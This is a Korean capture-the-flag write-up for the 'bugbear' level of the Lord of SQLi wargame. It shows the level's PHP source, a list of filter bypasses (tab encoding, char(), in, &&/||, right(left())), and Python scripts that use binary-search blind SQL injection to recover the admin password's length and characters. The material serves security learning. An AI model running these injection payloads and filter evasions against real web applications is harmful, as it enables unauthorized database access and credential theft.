아래는 서버 코드이다.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
highlight_file(__FILE__);
?>
이번 문제도 비밀번호 일치 문제인걸 보니 blind sql injection이다.
이번에는 substr, asciia,emdgh akfrheh like와 16진수 문자열 우회 마저도 필터링하고 있다.
하지만 이제 이런 문제들이 반복적인 패턴으로 다가와서 그런지 무엇을 써야할 지 바로 생각이 났다.
일단 no에서 쿼터가 없으니 전 문제와 같은 형식을 풀면 될 것 같다.
전 문제에서도 이분 탐색으로 like를 사용하지 않았기 때문에 이분 탐색으로 그대로 부등호를 사용하면 될 것 같다.
공백도 필터링하고 있어서 %09로 우회할 것이다.
그리고 0x가 필터링 되어있기에 바이너리로 하거나 char함수를 사용하면 될 것 같다.
그럼 인젝션 쿼리를 예시로 짜 나가보자.
like를 이분탐색으로 우회한다고 했지만 처음에 admin의 비밀번호를 가져오기 위해서는 like와 비슷한 효력을 낼 수 있는 구문을 가져와야 한다.
구글링을 통해 in이라는 것을 알아왔다.
보통 범위를 지정하기 때문에 2개 이상의 인자를 넣어주지만 in 다음에 괄호 안에 하나의 문자열만 넣게 되면 그 문자열을 가져오게 될 것이다.
그럼 in (char(~~~)) 이런식으로 하면 될 것 같다.
아래를 보자
위처럼 성공적으로 admin을 가져오게 된다.
그럼 이제 이 뒤에 쿼리를 추가해서 비밀번호의 길이를 알아내보자.
비밀번호 길이를 구하는 코드는 짤 것이지만 역시나 길이가 8일 것 같아 먼저 확을 해보았다.
아래처럼 엔드 연산자 뒤로 in을 사용하여 길이를 맞췄더니 성공적으로 쿼리가 참이 되었다.
substr은 필터링이 된 관계로 char()로 전과 같이 진행하면 되겠다.
그럼 이제 코드를 짜보자.
코드는 전에 풀었던 문제에서 쿼리문을 수정해서 풀겠다.
이분 탐색의 수행시간에서 이점은 이전에 설명을 했으므로 스킵하겠다.
import requests
import time
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookies = {
'PHPSESSID': ''
}
i = 0
start = 1
end = 100
while (True):
i += 1
mid=(start+end)//2
params = {
'pw': ""
}
url=f"https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=3||%09id%09in%09(char(97,100,109,105,110))%26%26%09length(pw)%09>%09({mid})"
print(f"try{i}")
if end-start==1:
print(f"pw length : {end}")
pw_length=mid
break
if 'Hello admin' in requests.get(url, params=params, cookies=cookies).text:
start=mid
print(f"st{start}")
else:
end=mid
print(f"en{end}")
이번에는 url에 직접 페이로드를 달아놓았다.
length함수 뒤에 in 대신 >를 사용함으로써 이분탐색이 진행되는데
결과는 아래와 같다.
역시나 비밀번호의 길이는 8이었다.
그럼 이제 최종 익스플로잇을 짜보자.
위 쿼리가 성공적으로 작동하니 참고해서 짜면 되겠다.
아래는 최종 익스플로잇이다.
import requests
import time
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookies = {
'PHPSESSID': ''
}
i = 0
start = 1
end = 100
while (True):
i += 1
mid=(start+end)//2
params = {
'pw': ""
}
url=f"https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=3||%09id%09in%09(char(97,100,109,105,110))%26%26%09length(pw)%09>%09({mid})"
print(f"try{i}")
if end-start==1:
print(f"pw length : {end}")
pw_length=end
break
if 'Hello admin' in requests.get(url, params=params, cookies=cookies).text:
start=mid
print(f"st{start}")
else:
end=mid
print(f"en{end}")
pw=""
start = 48
end = 127
for i in range(1,pw_length+1):
start = 1
end = 127
while(True):
mid=(start+end)//2
print(mid)
print(chr(mid))
params = {
'pw': ""
}
url=f"https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=3||%09id%09in%09(char(97,100,109,105,110))%26%26%09hex(right(left(pw,{str(i)}),1))%09>%09hex(char({mid-1}))"
res=requests.get(url,params=params,cookies=cookies)
if end-start<=1:
print(f"{i}번째 문자는{chr(mid)}")
pw+=chr(mid)
break
if 'Hello admin' in res.text:
start=mid
print(f"st{start}")
else:
end=mid
print(f"en{end}")
print(f"password : {pw}")
코드의 큰 틀은 전 문제의 익스플로잇과 같다.
다만 공백 우회를 url 인코딩으로 해야해서 요청 자체도 url에 페이로드를 붙여서 보냈다.
대소문자를 구별하기 위해 hex로 비교한 것은 똑같다.
결과적으로 이번 문제와 앞선 두 문제에서
= -> like -> in
문자열 -> 0x~~~ -> char()
" " -> 탭(%09)
and,or -> &&,||
substr -> right(left()),lpad
들의 우회를 유도했다.
이 밖에도 삽질하며 추가로 알게된 우회들도 많다.
그럼 익스플로잇을 실행해보자.
위와 같은 결과가 나오고 비밀번호를 페이로드로 보내면
성공적으로 flag를 얻을 수 있다.